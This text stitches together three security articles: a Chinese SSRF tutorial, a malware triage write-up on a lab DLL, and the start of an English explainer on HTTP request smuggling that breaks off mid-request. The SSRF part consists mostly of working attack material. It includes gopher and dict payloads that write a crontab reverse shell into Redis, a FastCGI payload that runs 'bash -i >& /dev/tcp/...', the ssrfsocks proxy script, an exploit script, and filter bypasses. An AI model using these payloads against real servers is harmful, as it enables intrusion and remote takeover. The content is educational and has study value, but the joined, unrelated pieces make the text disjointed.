# 浅析SSRF原理及利用方式
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 漏洞简介
SSRF(Server-side Request Forge, 服务端请求伪造)
通常用于控制web进而探测内网服务以及攻击内网脆弱应用
即当作跳板机，可作为 **ssrfsocks** 代理
## 漏洞产生
由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。
## 举个栗子
<?php
/**
* Check if the 'url' GET variable is set
* Example - http://localhost/?url=http://testphp.vulnweb.com/images/logo.gif
*/
if (isset($_GET['url'])){
$url = $_GET['url'];
/**
* Send a request vulnerable to SSRF since
* no validation is being done on $url
* before sending the request
*/
$image = fopen($url, 'rb');
/**
* Send the correct response headers
*/
header("Content-Type: image/png");
/**
* Dump the contents of the image
*/
fpassthru($image);
}
上面栗子中$url可控，通过fopen造成SSRF，可以向服务器/外部发送请求，比如
> GET /?url =file:///etc/passwd
>
> GET /?url=dict://localhost:11211/stat
>
> GET /?url=<http://169.254.169.254/latest/meta-data/>
>
> GET /?url=dict://localhost:11211/stat
同时file_get_contents()、curl()、fsocksopen()均可能造成SSRF漏洞。
## 漏洞利用
在这里我们先说的是没有任何过滤的情况，且可以回显
漏洞代码ssrf.php如下
#curl例子 漏洞代码ssrf.php (未作任何SSRF防御)
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
首先curl查看版本以及支持的协议
root@localhost :curl -V
curl 7.54.0 (x86_64-apple-darwin17.0) libcurl/7.54.0 LibreSSL/2.0.20 zlib/1.2.11 nghttp2/1.24.0
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz HTTP2 UnixSockets HTTPS-proxy
可以看到该版本支持很多协议，其中dict协议、gopher协议、http/s协议以及file协议使用较为广泛。
## 本地利用
1. file协议查看文件curl -v ‘file:///etc/passwd’
2. dict协议探测端口curl -v ‘dict://127.0.0.1:22/info’(查看ssh的banner信息)curl -v ‘dict://127.0.0.1:6379/info’(查看redis相关配置)
3. gophergopher协议支持GET&POST请求，同时在攻击内网ftp、redis、telnet、Memcache上有极大作用利用gopher协议访问redis反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
## 远程利用
漏洞代码ssrf.php
1. dict协议探测端口curl -v ‘<http://a.com/ssrf.php?url=dict://172.0.0.1:22/info>‘curl -v ‘<http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info>‘
2. 利用gopher协议访问redis反弹shell
curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
漏洞代码ssrf2.php
1. 限制协议HTTP/S
2. 跳转重定向为True，默认不跳转
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
此时直接使用dict协议已经不成功，我们可以利用302跳转的方式来绕过http协议限制，举例Discuz的SSRF
curl -v "http:///forum.php?mod=ajax&action=downremoteimg&message=[img]http://a.com/302.php?helo.jpg[/img]"
302.php
<?php
header("Location: dict://10.0.0.2:6379/info");#探测redsi信息
Location 302跳转辅助脚本
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
比如2016年腾讯微博应用的ssrf
curl -v 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://localhost/file.php'
#file.php
<?php
header("Location: file:///etc/passwd");
?>
##
## 攻击应用
web
ssrf作为跳板可攻击内网多种应用如redis,discuz,fastcgi,memcache,webdav,struts,jboss,axis2等应用
首先我们要探测一下目标内网 。由于服务器支持gopher万金油协议ssrf+gopher=ssrfsocks，这里祭出猪猪侠前辈的ssrfsocks.py
#!/usr/bin/env python
import sys
import socket
import thread
import binascii
import struct
import urllib
import urllib2
HOST = 'localhost'
PORT = 65432
BUFSIZ = 4096
TIMEOUT = 5
SOCKS = True
CONNECT = "gopher%3A//"
def decodesocks(req):
if req[0] != 'x04':
raise Exception('bad version number')
if req[1] != 'x01':
raise Exception('only tcp stream supported')
port = req[2:4]
host = req[4:8]
if host[0] == 'x00' and host[1] == 'x00' and host[2] == 'x00' and host[3] != 'x00':
byname = True
else:
byname = False
userid = ""
i = 8
while req[i] != 'x00':
userid += req[i]
extra = ""
if byname:
while req[i] != 'x00':
extra += req[i]
return host, port, extra
def child(sock,addr,base):
try:
if SOCKS:
req = sock.recv(BUFSIZ)
host, port, extra = decodesocks(req)
if extra == "":
dest = socket.inet_ntoa(host)
else:
dest = extra
destport, = struct.unpack("!H", port)
sock.send("x00x5a"+port+host)
data = sock.recv(BUFSIZ)
#print "sending:", data
encodeddata = urllib.quote(data)
url = base+CONNECT+dest+":"+str(destport)+"/A"+encodeddata
#print "connecting to ", url
ret = urllib2.urlopen(url,timeout=TIMEOUT)
retdata = ret.read()
#print "received:", retdata
if len(retdata) > 0:
sock.send(retdata)
sock.close()
except Exception as e:
print e
sock.close()
if __name__=='__main__':
if len(sys.argv) != 2:
sys.exit('Usage: %s BASEURLnExample: %s "http://victim.com/xxe.php?uri="' % sys.argv[0], sys.argv[0])
base = sys.argv[1]
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(2)
print 'listener ready on port', PORT
try:
while 1:
client, addr = server.accept()
#print 'connection from:', addr
thread.start_new_thread(child, (client,addr,base))
except KeyboardInterrupt:
server.close()
##
## 攻击redis服务
### 常规利用方式
内网redis(port:6379)通常存在未授权访问的情况,防护较弱可攻击。
首先要了解通过redis getshell的exp写成的bash shell.sh:
echo -e "nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
执行命令 `bash shell.sh 127.0.0.1 6379`可在redis里面写入crontab的定时任务，本地通过`nc -nvlp
2333`开启监听2333端口来反弹shell。
### gopher利用方式
gopher作为万金油协议在ssrf进入内网后有很大作用，但是我们要将普通的请求转成适配gopher协议的url，首先获取bash脚本对redis发出的访问请求，这里利用socat进行端口转发，转发命令
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
即将访问4444端口的流量转发到6379端口。也就是说我们bash请求的是4444端口，但是访问的还是6379的redis，即端口转发。
bash shell.sh 127.0.0.1 4444 >redis.log
这样就截获到redis的日志记录文件`redis.log`，贴出三叶草JoyChou师傅写的gopher转换脚本 tran2gopher.py
，具体可以看可以看[SSRF in PHP —JoyChou](https://joychou.org/web/phpssrf.html)
#coding: utf-8
#author: JoyChou
#usage: python tran2gopher.py socat.log
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为r
elif line[-3:-1] == r'r':
# 如果该行只有r，将r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('n', '')
exp = exp + line
# 判断是否是空行，空行替换为%0a
elif line == 'x0a':
exp = exp + '%0a'
else:
line = line.replace('n', '')
exp = exp + line
print exp
通过`python tran2gopher.py redis.log`将log改成适用gopher协议的url:
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
需要注意的是，上面url中的`$58`代表58个字节，这里exp是`nnn*/1 * * * * bash -i >&
/dev/tcp/127.0.0.1/2333
0>&1nnnn`共计3+51+4=58个字节，如果需要更改ip,比如10.201.42.13，那么$58需要改成$61，以此类推。
最后攻击的curl为：
curl -v gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
dict利用方式dict协议具有一个功能，比如`dict://127.0.0.1:6379/config:get:dir`即向服务器的端口发送`config
get dir`并在末尾自动添加CRLF。和gopher不同的是：gopher只需要发送一个url而dict需要层层构造，所以我们只需发出以下几个请求
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/set:1:nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn
dict://127.0.0.1:6379/save
创宇404的师傅这里写的很详细[SSRF漏洞分析与利用](http://www.4o4notfound.org/index.php/archives/33/)，这里引用师傅的exp
# ssrf.py
import requests
host = '104.224.151.234'
port = '6379'
bhost = 'www.4o4notfound.org'
bport=2333
vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
_location = 'http://www.4o4notfound.org/302.php'
shell_location = 'http://www.4o4notfound.org/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#confg set dir
_payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#config set dbfilename
_payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#save
_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#302.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data"); ?>
#shell.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/{$bhost}/{$bport}\x200>\x261\x0a\x0a\x0a""); ?>
执行ssrf.py 即可写入crontab，在本地开启nc监听等待请求
###
## 攻击FastCGI
首先根据faci_exp生成exp，随后改成支持gopher协议的URL
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
本地监听2333端口，收到反弹shell
## 其他 & 问题
能用SSRF攻击的还有很多应用，比如couchDB、Memcache、jboss、axis2、fastcgi、tomcat等等，原理相同，不做赘述。
实际测试以及阅读文章中发现gopher存在以下几点问题
1. PHP的curl默认不跟随302跳转
2. curl7.43上gopher协议存在%00截断的BUG，v7.49可用
3. file_get_contents()的SSRF，gopher协议不能使用URLencode
4. file_get_contents()的SSRF，gopher协议的302跳转有BUG会导致利用失败
##
## bypass
1. 在某些情况下，后端程序可能会对访问的URL进行解析，对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当，导致可以绕过过滤。如 <a href=”http://[[email protected]](mailto:[email protected]).10″”>http://[email protected] 相当于请求<http://10.10.10.10> 访问的资源是10.10.10.10内网资源当后端程序通过不正确的正则表达式（比如将http之后到com为止的字符内容，也就是[www.baidu.com](http://www.baidu.com/)，认为是访问请求的host地址时）对上述URL的内容进行解析的时候，很有可能会认为访问URL的host为[www.baidu.com](http://www.baidu.com/)，而实际上这个URL所请求的内容都是192.168.0.1上的内容。
2. ip进制转换为十进制如<http://baidu.com/?url=dict://192.168.100.1:6379/info> >> <http://baidu.com/?url=dict://3232261121:6379/info>
3. xip.io & xip.name
foo.bar.10.10.0.1.xip.io > 10.10.0.1
10.0.0.1.xip.io > 10.0.0.1
www.10.10.0.1.xip.name > 10.10.0.1
…
302跳转 & 短域名([http://tinyurl.com](http://tinyurl.com/))
##
## 漏洞防护
1. 服务端开启OpenSSL无法交互利用
2. 服务端需要认证交互
3. 限制协议为HTTP、HTTPS
4. 禁止30x跳转次数
5. 设置URL白名单或限制内网IP
#
## Reference
1. [ssrf in php](https://joychou.org/web/phpssrf.html)
2. [SSRF漏洞的利用与学习](https://uknowsec.cn/posts/notes/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html)
3. [ssrfsocks](https://blog.csdn.net/qq_27446553/article/details/51934311)
4. [SSRF漏洞中绕过ip限制的几种方法](http://www.freebuf.com/articles/web/135342.html)
5. [猪猪侠乌云白帽大会SSRF经典议程](http://docs.ioin.in/writeup/fuzz.wuyun.org/_src_build_your_ssrf_exp_autowork_pdf/index.pdf)
6. [wooyun-2016-0215419_SSRF](http://www.loner.fm/bugs/bug_detail.php?wybug_id=wooyun-2016-0215419) | 社区文章 |
# 目标
1.样本鉴定黑白
2.样本初步行为的判断
3.相关信息收集
# 原理
## 鉴黑白
### 特征码检测
**检测已知病毒** ：通常杀毒软件将分析过的病毒中的特征部分提取成相应特征码（文件特征、字符特征、指令特征等）
### 启发检测
**检测未知病毒** ：检测病毒运行过程中的API调用行为链。
## 初步型为判断
### 特征API
不同种类的病毒样本根据其特性总会调用一些特定的API函数
## 相关信息收集
* 编译时间：可以判断样本的出现的时间
* 文件类型：哪类文件，命令行或者界面或者其他
* 是否有网络行为
* 是否有关联文件
* 壳情况
# 算法流程
根据常用逆向工具来实现上述原理的检测
## 鉴黑白
1. 文件特征检测
* [VirusTotal](https://www.virustotal.com/)检测，可以看到是否已经有厂商对其惊醒了黑白判断(SHA-1搜索即可)
* 文件SHA-1/MD5 Google扫描，看是已有相关检测报告
2. 字符特征检测
* strings/pestdio工具打印字符串。根据一些特征字符串Google搜索，如ip地址、敏感词句、API符号等
3. 加壳/混淆判断
* PEID/DIE工具查看文件是否加壳
* strings判断。如果字符串数量稀少、存在LoadLibray少量API符号，可以对其留意
4. 链接检测
* 运行时链接检测。恶意样本通常采用LoadLibray来运行是链接
## 样本初步行为判断
pestdio查看导入表的API调用和一些字符串信息，来进行判断
## 相关信息收集
收集样本相关信息，如果要详细分析，会用到
1. PEStudio查看文件头的时间戳
2. PEStudio查看文件头的文件类型
3. DIE/PEID查壳情况或者string表和api的一些特征
# 实践过程
样本：Lab01-01.dll
## 鉴黑白
33/68的检出率，是黑样本
## 样本初步行为判断
### 导入表
可以看到一下函数，出现了网络通信、开启进程等操作
* CreateMutexA\OpenMutexA，创建打开互斥体，防止进程多开
* socket、send、connect、recv等函数，进行网络socket通信，有可能是发送数据、接收命令，很明显的后门通信行为
* createProcessA，创建进程。
### 字符串表
出了刚才分析的行为，这里出现了：
* IP地址，可以Google或VT查一下，可以查到相关信息
* exec，命令执行的字段，结合上面网络通信，可能是接收命令并执行的后门操作
### 小结
1.初步判断该dll有后门操作，接收127.26.152.13地址的命令，并执行
2.进程创建，暂时不清楚
## 相关信息收集
* 编译时间
这里的小技巧是，根据两个文件编译时间也可以推测是一个代码包的文件，可以用来大概区分是作者自己编写的代码还是调用开源的或其他的
Mon Dec 20 00:16:38 2010
* 文件类型
DLL动态链接库
* 壳信息
从上面导入表的函数可以看出，是没加壳的，要不然就不会暴露网络操作的API了
当然也可以用工具在下个实锤
# 小结
大致从socket通信函数可以看出后门操作，初步断定是个可能是后门DLL。
前面的exe应该是用来启动和隐藏该DLL的，这里没有看出的是createProcess和sleep函数也是明显的后门常用的API，后面可以写个demo版后门巩固相关API调用 | 社区文章 |
**Author：mengchen@Knownsec 404 Team**
**Chinese version:<https://paper.seebug.org/1048/>**
## 1\. Introduction
I recently studied BlackHat's topic, and one of the topics - "HTTP Desync
Attacks: Smashing into the Cell Next Door" has caused me great interest. The
author talks about the HTTP smuggling attack and shares examples. I have never
heard of this kind of attack before, so I decided to carry out a complete
study of it, and this is why I wrote this article.
Please let me know if there is any mistake.
## 2\. TimeLine
In 2005, a report on the HTTP Request Smuggling attack was completed by Chaim
Linhart, Amit Klein, Ronen Heled and Steve Orrin. Through the analysis of the
entire RFC document and a rich example, they proved the harm of this attack
method.
> <https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf>
On 2016's DEFCON 24, @regilero enriched and expanded the attack methods in the
previous report on his topic, Hiding Wookiees in HTTP.
>
> <https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-> Hiding-Wookiees-In-Http.pdf>
At BlackHat USA 2019, James Kettle of PortSwigger gave a presentation on the
topic - HTTP Desync Attacks: Smashing into the Cell Next Door. In the current
network environment, he demonstrated using block coding to attack, extended
the attack surface, and proposed a complete set of detection and utilization
process.
> <https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-> smashing-into-the-cell-next-door-15153>
## 3\. Causes
The HTTP request smuggling attack is very special. It is not as intuitive as
other Web attack methods. In a complex network environment, different servers
implement different ways of implementing RFC standards. In this way, different
servers may generate different processing results for the same HTTP request,
which creates a security risk.
Before we proceed, let's take a look at the most widely used protocol feature
of `HTTP 1.1`\-- `Keep-Alive&Pipeline`.
In the protocol design before `HTTP1.0`, each time the client makes a HTTP
request, it needs to establish a TCP link with the server. The modern Web site
page is composed of a variety of resources. We need to obtain the content of a
web page, not only requesting HTML documents, but also various resources such
as JS, CSS, and images, so if we design according to the previous agreement.
Will cause the load overhead of the HTTP server to increase. So in `HTTP1.1`,
the two features of `Keep-Alive` and `Pipeline` have been added.
The so-called `Keep-Alive`, is to add a special request header `Connection:
Keep-Alive` in the HTTP request, tell the server, after receiving this HTTP
request, do not close the TCP link, followed by the same target server HTTP
Request, reuse this TCP link, so only need to perform a TCP handshake process,
which can reduce server overhead, save resources, and speed up access. Of
course, this feature is enabled by default in `HTTP1.1`.
With `Keep-Alive`, there will be a `Pipeline`, and the client can send its own
HTTP request like a pipeline without waiting for the response from the server.
After receiving the request, the server needs to follow the first-in first-out
mechanism, strictly correlate the request and response, and then send the
response to the client.
Nowadays, the browser does not enable `Pipeline` by default, but the general
server provides support for `Pipleline`.
In order to improve the user's browsing speed, improve the user experience,
and reduce the burden on the server, many websites use the CDN acceleration
service. The simplest acceleration service is to add a reverse proxy server
with caching function in front of the source station. When the user requests
some static resources, it can be obtained directly from the proxy server
without having to obtain it from the source server. This has a very typical
topology.
In general, TCP links are reused between the reverse proxy server and the
source server on the back end.It is also easy to understand that the user's
distribution range is very extensive, and the time to establish a connection
is also uncertain, so that TCP links are difficult to reuse, and the IP
addresses of the proxy server and the source server of the back-end are
relatively fixed, different users. Request to establish a link with the source
server through the proxy server, it is very easy to reuse the TCP link between
the two servers.
When we send a fuzzy HTTP request to the proxy server, because the
implementation of the two servers is different, the proxy server may consider
this to be a HTTP request and then forward it to the source server of the
back-end. However, after the source server is parsed, only part of it is a
normal request, and the remaining part is a smuggling request. When the part
affects the normal user's request, the HTTP smuggling attack is implemented.
### 3.1 GET Request with CL != 0
GET request is not the only one that get affected. I just use it as an example
because it is typical. All HTTP requests that do not carry the request body
may be affected by this.
In `RFC2616`, there is no provision for the GET request to carry the request
body like the POST request, and only one sentence is mentioned in section
4.3.1 of the latest document `RFC7231`.
> <https://tools.ietf.org/html/rfc7231#section-4.3.1>
>
> sending a payload body on a GET request might cause some existing
> implementations to reject the request
Suppose the front-end proxy server allows the GET request to carry the request
body, and the back-end server does not allow the GET request to carry the
request body. It will directly ignore the `Content-Length` header in the GET
request and will not process it. This may lead to requests smuggling.
We construct the request
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
The front-end server receives the request by reading `Content-Length`, which
determines that this is a complete request and then forwards it to the back-end server. After the back-end server receives it, because it does not process
`Content-Length`, it thinks it is receiving two requests.
First
GET / HTTP/1.1\r\n
Host: example.com\r\n
Second
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
This led to the request smuggling. In Section 4.3.1, there is an example
similar to it.
### 3.2 CL-CL
In the fourth clause of `3.3.3` of `RFC7230`, it is stated that when the
request received by the server contains two `Content-Length`, and the values
of the two are different, it needs to return 400 error.
> <https://tools.ietf.org/html/rfc7230#section-3.3.3>
However, there are always servers that do not strictly implement the
specification. Suppose the intermediate proxy server and the back-end source
server do not return a 400 error when receiving a similar request. The
intermediate proxy server processes the request according to the value of the
first `Content-Length`, and the back-end source server processed according to
the value of the second `Content-Length`.
At this point the attacker can construct a special request.
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
The length of the data packet obtained by the intermediate proxy server is 8,
and then the entire data packet is forwarded to the source server of the back
end intact. The length of the packet obtained by the back-end server is 7.
After reading the first 7 characters, the back-end server considers that the
request has been read, and then generates a corresponding response and sends
it out. At this time, the buffer has one more letter `a` left. For the back-end server, this `a` is part of the next request, but it has not been
transferred yet. At this point, there is a other normal user requesting the
server, assuming the request is as shown.
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
As we also know from the previous, TCP connections are generally reused
between the proxy server and the source server.
At this time, the normal user's request is spliced to the back of the letter
`a`. When the back-end server receives it, the request it actually processes
is actually like this.
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n
At this time, the user will receive an error similar to `aGET request method
not found`.This implements a HTTP smuggling attack, and it also affects the
behavior of normal users, and can be extended to a CSRF-like attack.
However, the two request packages of `Content-Length` are still too
idealistic, and the general server will not accept such a request packet with
two request headers. In Section 4.4 of `RFC2616`, it is stated that: `If you
receive a request packet with both Content-Length and Transfer-Encoding
headers, you must ignore Content-Length during processing`. This actually
means that the request header contains both request headers is not a
violation, and the server does not need to return a `400` error. The
implementation of the server here is more prone to problems.
> <https://tools.ietf.org/html/rfc2616#section-4.4>
### 3.3 CL-TE
The `CL-TE` means that when a request packet with two request headers is
received, the front-end proxy server only processes the request header of
`Content-Length`, and the back-end server complies with the provisions of
`RFC2616`, ignoring `Content -Length`, handles the request header of
`Transfer-Encoding`.
The chunk transfer data format is as follows, where the value of size is
represented by hexadecimal.
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
Lab URL：<https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te>
Constructing a packet
POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
The response can be obtained by sending the request several times in
succession.
Since the front-end server handles `Content-Length`, this request is a
complete request for it, and the length of the request body is 6, which is:
0\r\n
\r\n
G
When the request packet is forwarded to the back-end server through the proxy
server, the back-end server processes `Transfer-Encoding`. When it reads
`0\r\n\r\n`, it will regard it has come to the end of it, leaving the letter
`G`in the buffer, waiting for the subsequent request to arrive. When we
repeatedly send the request, the sent request is stitched into the request
like this:
GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......
No wonder the server reported an error when parsing.
### 3.4 TE-CL
The `TE-CL` means that when a request packet with two request headers is
received, the front-end proxy server processes the request header of
`Transfer-Encoding`, and the back-end server processes the `Content-Length`
request header.
Lab URL：<https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl>
Construct a packet:
POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
Since the front-end server processes `Transfer-Encoding`, when it reads
`0\r\n\r\n`, it is considered to be read. At this time, the request is a
complete request to the proxy server. Then forwarded to the backend server.
The backend server processes the `Content-Length` request header. When it
reads `12\r\n`, it considers that the request has ended. It thinks that the
following data is another request, that is:
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
Successfully reported an error.
### 3.5 TE-TE
`TE-TE`, it is also easy to understand that when receiving a request packet
with two request headers, the front-end server processes the `Transfer-Encoding` request header, which is indeed the standard for implementing RFC
documents. However, the front and rear servers are not the same, but there is
a way. We can do some obfuscation of `Transfer-Encoding` in the request packet
sent so that one of the servers does not process the `Transfer-Encoding`
request header. In a sense, it is still `CL-TE` or `TE-CL`.
Lab URL：<https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header>
Constructing a packet
POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
